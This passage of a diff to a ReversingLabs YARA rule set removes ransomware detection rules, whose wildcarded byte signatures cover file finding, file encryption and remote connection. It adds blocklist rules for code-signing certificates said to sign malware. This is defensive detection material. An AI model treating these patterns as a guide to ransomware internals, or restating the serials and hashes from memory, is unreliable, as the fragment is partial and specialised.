8D BC 27 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74 - } - $find_files_p3 = { - 8B 45 ?? F6 85 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 75 - ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 EC ?? 39 D0 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? 89 - C3 8B 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8D B5 ?? ?? ?? ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? - ?? EB ?? 89 C3 8B 85 ?? ?? ?? ?? 39 F0 75 ?? EB ?? EB ?? EB ?? 89 C3 EB ?? C7 04 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB - } - $encrypt_files_p1 = { - 55 89 E5 57 56 53 81 EC ?? ?? ?? ?? 8B 45 ?? 89 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 00 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 83 - F8 ?? 89 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 C6 8D 85 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? - 89 34 24 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? - 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 34 24 05 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? 89 44 24 ?? 83 D2 ?? A1 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 54 24 ?? 89 85 - ?? ?? ?? ?? FF D0 31 C0 83 EC ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AB 7C ?? 0F - 8E ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 74 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? - 83 EC ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F - 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 35 ?? ?? ?? ?? 0B 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? - 80 7D ?? ?? 0F 85 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C3 8D 85 ?? ?? - ?? ?? 89 D9 89 04 24 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? - ?? ?? 83 EC ?? 8B B5 ?? ?? ?? ?? 89 D9 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 1E 0F A4 C2 ?? C1 E0 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D - } - $encrypt_files_p2 = { - 85 ?? ?? ?? ?? 89 04 24 8B 0E E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 04 24 8B - 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 - ?? 8B 0E E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 89 04 24 89 54 - 24 ?? 8B 0E 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? - ?? ?? 85 FF 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 - ?? ?? ?? ?? 8D BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8B 85 - ?? ?? ?? ?? 89 54 24 ?? 89 04 24 FF 95 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? C7 04 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89 - 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? - 1B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 0F AC D0 ?? C1 EA ?? 89 D3 09 - C3 0F 84 ?? ?? ?? ?? 83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 D2 ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - 90 8D B4 26 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? C7 44 - 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 95 ?? ?? ?? ?? 8B 8D ?? - ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C - } - $encrypt_files_p3 = { - 24 ?? 89 0C 24 8B 0A E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B - 9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 89 54 24 ?? 89 1C 24 - FF 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 89 9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 89 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 81 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? 83 95 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 5C - 24 ?? 89 54 24 ?? 89 04 24 FF 95 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83 - EC ?? 81 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 D9 83 95 ?? ?? ?? ?? ?? 8B 02 89 04 24 E8 ?? - ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D - ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 0B 89 85 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 0B E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 83 EC ?? 89 04 24 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? 8B - 85 ?? ?? ?? ?? 89 44 24 ?? 8B 0B E8 ?? ?? ?? ?? 8B 0B 83 EC ?? E8 ?? ?? ?? ?? 8B 9D - ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 1C 24 FF 15 ?? ?? ?? ?? 8B - } - $encrypt_files_p4 = { - 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 1C - 24 89 44 24 ?? 89 54 24 ?? FF 95 ?? ?? ?? ?? 83 EC ?? 83 85 ?? ?? ?? ?? ?? 8B 9D ?? - ?? ?? ?? 83 95 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 31 CB 31 D0 89 DA 09 C2 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 8B 95 - ?? ?? ?? ?? 1B 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? 89 4C 24 ?? 8B 8D ?? ?? ?? ?? - 89 C3 89 44 24 ?? 89 0C 24 FF 95 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 8B 95 ?? ?? ?? ?? 89 14 24 8B 08 E8 ?? ?? - ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 7C 24 ?? 8B BD ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 54 24 ?? 89 3C 24 FF 95 ?? ?? ?? ?? 83 EC ?? 8B - 95 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 5C 24 ?? 8B 1D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? 89 74 24 ?? 89 54 24 ?? 89 3C 24 89 9D ?? ?? ?? ?? FF D3 8B 95 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83 EC ?? B9 ?? ?? ?? ?? C7 85 - } - $encrypt_files_p5 = { - 89 DF C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F AC D0 ?? C1 EA - ?? 01 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 11 95 ?? ?? ?? ?? 31 C0 C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? F3 AB C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? C7 44 24 ?? ?? - ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? - ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 5C 24 ?? C7 04 24 ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? 89 7C 24 ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 31 C0 F3 AB 8B BD ?? ?? ?? ?? 89 74 - 24 ?? 8D B5 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? - 89 3C 24 FF 95 ?? ?? ?? ?? 83 EC ?? 89 3C 24 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 - EC ?? 8B 18 85 DB 74 ?? 89 D9 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? - ?? 8D 65 ?? 31 C0 5B 5E 5F 5D C2 ?? ?? 8D BD ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 8B B5 - ?? ?? ?? ?? 31 D2 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? F3 AB 8B BD ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? 89 F9 C1 F9 ?? 83 E1 ?? 89 C8 01 F0 11 FA 0F AC D0 ?? C1 FA ?? 83 - } - $encrypt_files_p6 = { - C0 ?? 83 D2 ?? 0F A4 C2 ?? C1 E0 ?? 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 FA 09 F2 - 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 8D 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 F7 C6 00 ?? 83 C0 ?? 39 C2 75 ?? 89 BD - ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 D9 89 04 - 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 18 A1 ?? ?? ?? ?? 89 44 24 ?? 8D 85 - ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 - 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? 83 C0 - ?? 83 EC ?? 8B 56 ?? 39 D0 0F 87 ?? ?? ?? ?? 8B 7D ?? 29 C2 8D B5 ?? ?? ?? ?? 8D 9D - ?? ?? ?? ?? 8B 0F C6 44 24 ?? ?? 89 9D ?? ?? ?? ?? 8D 0C 41 8D 04 51 89 0C 24 89 F1 - 89 44 24 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 34 24 8D 48 ?? E8 ?? ?? ?? - ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? - 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B 47 ?? 89 34 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 0F C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 90 89 34 24 8B - 0F 83 C6 ?? E8 ?? ?? ?? ?? 83 EC ?? 39 DE 75 ?? 8B BD ?? ?? ?? ?? 8B B5 - } - $encrypt_files_p7 = { - 8B 0F E8 ?? ?? ?? ?? 8B 07 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 - 04 24 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ?? - 8B 9D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 0F 89 95 ?? ?? ?? ?? 89 95 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 0F E8 ?? ?? ?? ?? 8B 0F 83 EC ?? E8 ?? - ?? ?? ?? 8B 0F 89 F7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 95 ?? ?? - ?? ?? 8B 95 ?? ?? ?? ?? 89 34 24 8D B5 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? FF 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 - EC ?? 89 3C 24 C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 - ?? FF 15 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ?? 85 FF 0F 85 ?? ?? - ?? ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 3D - ?? ?? ?? ?? 0F 97 C0 0F B6 C0 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 65 ?? B8 ?? ?? ?? - ?? 5B 5E 5F 5D C2 ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 8D 65 - ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C2 ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 - } - $encrypt_files_p8 = { - 83 EC ?? 8D 65 ?? 31 C0 5B 5E 5F 5D C2 ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 - 04 24 ?? ?? ?? ?? 89 C6 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 04 24 C1 F8 ?? 89 F1 89 - 44 24 ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 EC ?? 89 B5 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 89 C3 A1 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 89 - 04 24 89 54 24 ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ?? - ?? ?? ?? 89 95 ?? ?? ?? ?? 89 54 24 ?? 89 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 - 7C 24 ?? 89 44 24 ?? 89 34 24 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 5C 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 83 C3 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 89 44 24 ?? FF - 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 EC ?? 39 C3 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 76 ?? 81 BD ?? ?? - ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 89 C6 C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 34 24 E8 ?? - ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB - } - $remote_connection_p1 = { - 55 57 56 53 81 EC ?? ?? ?? ?? 8B 1A 39 18 0F 84 ?? ?? ?? ?? 89 54 24 ?? 89 C6 8D 5C - 24 ?? F6 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 DF 8B 56 ?? 89 54 24 - ?? 8B 56 ?? 89 54 24 ?? 8B 56 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 - 3C 24 E8 ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 01 C7 89 F8 29 D8 BA ?? ?? ?? ?? 89 D5 - 29 C5 F6 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 06 89 44 24 ?? 8B 46 ?? 89 44 24 ?? - C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 3C 24 E8 ?? ?? ?? ?? 89 5C 24 ?? 8B 7C 24 ?? - 8B 07 89 04 24 E8 ?? ?? ?? ?? FF 47 ?? 8B 46 ?? 01 47 ?? 8B 6E ?? 85 ED 0F 84 ?? ?? - ?? ?? 89 6C 24 ?? 8D 44 24 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? - ?? ?? ?? 8D B6 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 85 C0 74 ?? C6 03 ?? A8 ?? 0F 85 ?? - ?? ?? ?? 8B 7D ?? 8B 75 ?? 89 2C 24 E8 ?? ?? ?? ?? 89 7C 24 ?? 89 74 24 ?? 89 44 24 - ?? C7 44 24 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 74 24 ?? 29 F0 89 44 24 ?? 8D 04 33 89 - 04 24 E8 ?? ?? ?? ?? 89 DF 8B 17 83 C7 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? - ?? 74 ?? A9 ?? ?? ?? ?? 75 ?? C1 E8 ?? 83 C7 ?? 88 C1 00 C1 83 DF ?? 29 DF 8B 75 - } - $remote_connection_p2 = { - 89 34 24 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 29 F9 39 C1 0F 8D ?? ?? ?? ?? 8D 04 3B 83 F9 - ?? 0F 83 ?? ?? ?? ?? 85 C9 74 ?? 8A 16 88 10 F6 C1 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? - ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 01 D8 89 04 24 E8 ?? ?? ?? ?? - 89 5C 24 ?? 8B 44 24 ?? 8B 00 89 04 24 E8 ?? ?? ?? ?? 8B 6D ?? 85 ED 74 ?? 8D 44 24 - ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? FF 44 24 ?? 8B 44 24 ?? 83 F8 ?? - 0F 82 ?? ?? ?? ?? C7 44 03 ?? ?? ?? ?? ?? 8D 48 ?? C1 E9 ?? 89 DF B8 ?? ?? ?? ?? F3 - AB E9 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3 90 8D 74 26 ?? - 8D 40 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 10 89 54 24 ?? 8B 50 ?? 89 54 24 ?? 8B 40 ?? 89 - 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 - DA 8B 0A 83 C2 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ?? 74 ?? A9 - } - $remote_connection_p3 = { - 75 ?? C1 E8 ?? 83 C2 ?? 88 C1 00 C1 83 DA ?? 29 DA 8D 3C 13 B8 ?? ?? ?? ?? 29 D0 E9 - ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 8D BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 29 F8 89 44 24 ?? 89 - 74 24 ?? 01 DF 89 3C 24 E8 ?? ?? ?? ?? 89 D8 8B 08 83 C0 ?? 8D 91 ?? ?? ?? ?? F7 D1 - 21 CA 81 E2 ?? ?? ?? ?? 74 ?? F7 C2 ?? ?? ?? ?? 75 ?? C1 EA ?? 83 C0 ?? 88 D1 00 D1 - 83 D8 ?? 29 D8 BA ?? ?? ?? ?? 29 C2 E9 ?? ?? ?? ?? 8D 74 26 ?? 8D BC 27 ?? ?? ?? ?? - 8B 16 89 10 8B 54 0E ?? 89 54 08 ?? 8D 78 ?? 83 E7 ?? 29 F8 29 C6 01 C1 C1 E9 ?? F3 - A5 E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 89 54 24 ?? 8D 46 ?? 89 - 04 24 E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 3C 24 E8 ?? - ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 01 C7 89 F8 29 D8 8B 54 24 ?? 29 C2 89 D5 E9 ?? ?? - ?? ?? 8D B4 26 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 8B 44 24 ?? 66 C7 44 03 ?? ?? ?? E9 - ?? ?? ?? ?? 66 8B 54 0E ?? 66 89 54 08 ?? E9 ?? ?? ?? ?? 90 8B 54 24 ?? 8B 44 24 ?? - E9 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RotA Games ApS" and pe.signatures [ i ] . serial == "38:98:9e:c6:1e:cd:b7:39:1f:f5:64:7f:7d:58:ad:18" and 1613088000 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_Bc6C43D206A360F2D6B58537C456B709 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "fd19ce61-056b-549a-946e-72543ff1f7c0" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12274-L12292" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "eb5288d2b96ff7a7783c2b2b02f9f1168784352ed84ad6463dce00c12daca6cb" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ANKADA GROUP, d.o.o." and ( pe.signatures [ i ] . serial == "00:bc:6c:43:d2:06:a3:60:f2:d6:b5:85:37:c4:56:b7:09" or pe.signatures [ i ] . serial == "bc:6c:43:d2:06:a3:60:f2:d6:b5:85:37:c4:56:b7:09" ) and 1616630400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Redeemer : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4929Ab561C812Af93Ddb9758B545F546 : INFO FILE { meta: - description = "Yara rule that detects Redeemer ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "080ab595-862b-5dc2-aaff-a0efd819a9fa" - date = "2022-01-17" - modified = "2022-01-17" + id = "6e8ffb39-d00d-54ca-a4be-68f6dd92d798" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Redeemer.yara#L1-L105" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12294-L12310" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "28287f6620a2f7a90057d1f97947e065721119e26398fe659331dc5fe99761de" + logic_hash = 